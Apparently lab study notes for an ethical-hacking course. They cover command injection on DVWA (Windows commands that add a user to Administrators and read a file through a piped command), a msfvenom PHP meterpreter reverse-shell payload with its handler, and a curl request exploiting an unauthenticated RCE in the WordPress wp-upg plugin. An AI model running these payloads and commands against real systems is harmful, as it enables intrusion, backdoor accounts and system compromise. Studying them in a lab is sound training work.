7. Remote command execution to compromise a target server
Setup and complete DVWA Guides
Windows Command Injection
hostname
whoami
tasklist
Taskkill /PID 3112 /F //forcefully kills the processes
dir c:\
net user
net user test /add //add a new user
net localgroup Administrators test /add //add test user to administrators
net user test //to view the details of the user
dir c:\ "pin.txt" or this command ! Take pin.txt
| type c:\"pin.txt"
8. Exploit File upload vulnerability
Generating the payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw >exploit.php
Run multi/handler to catch the shell
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
Check the above DVWA walkthroughs. For high mode add the following on top of payload and save it as jpeg
open the shell, and you will get the meterpreter session.
9. Exploit Log4j vulnerability
10. Perform Remote Code Execution (RCE) Attack
We will exploit RCE in a plugin in wordpress.
In the Terminal window, run wpscan --urlhttp://10.10.1.22:8080/CEH --api-token [API Token] command.
The result appears, displaying detailed information regarding the target website.
Scroll down to the Plugin(s) Identified section, and observe the installed vulnerable plugins (wp-upg) on the target website.
In the Plugin(s) Identified section, within the context of the wp-upg plugin, an Unauthenticated Remote Code Execution (RCE) vulnerability has been detected as shown in the screenshot.
The number of vulnerable plugins might differ when you perform this lab.
In this task, we will exploit the RCE vulnerability present in the wp-upg plugin.
To perform RCE attack, run curl -i 'http://10.10.1.22:8080/CEH/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:whoami:NULL:NULL' command.
This curl command exploits a WordPress plugin vulnerability by sending a malicious request to the admin-ajax.php file, allowing an attacker to execute arbitrary system commands via the exec function, potentially leading to remote code execution.
In the last step, whoami command was executed, yielding the outcome nt authority\ \system
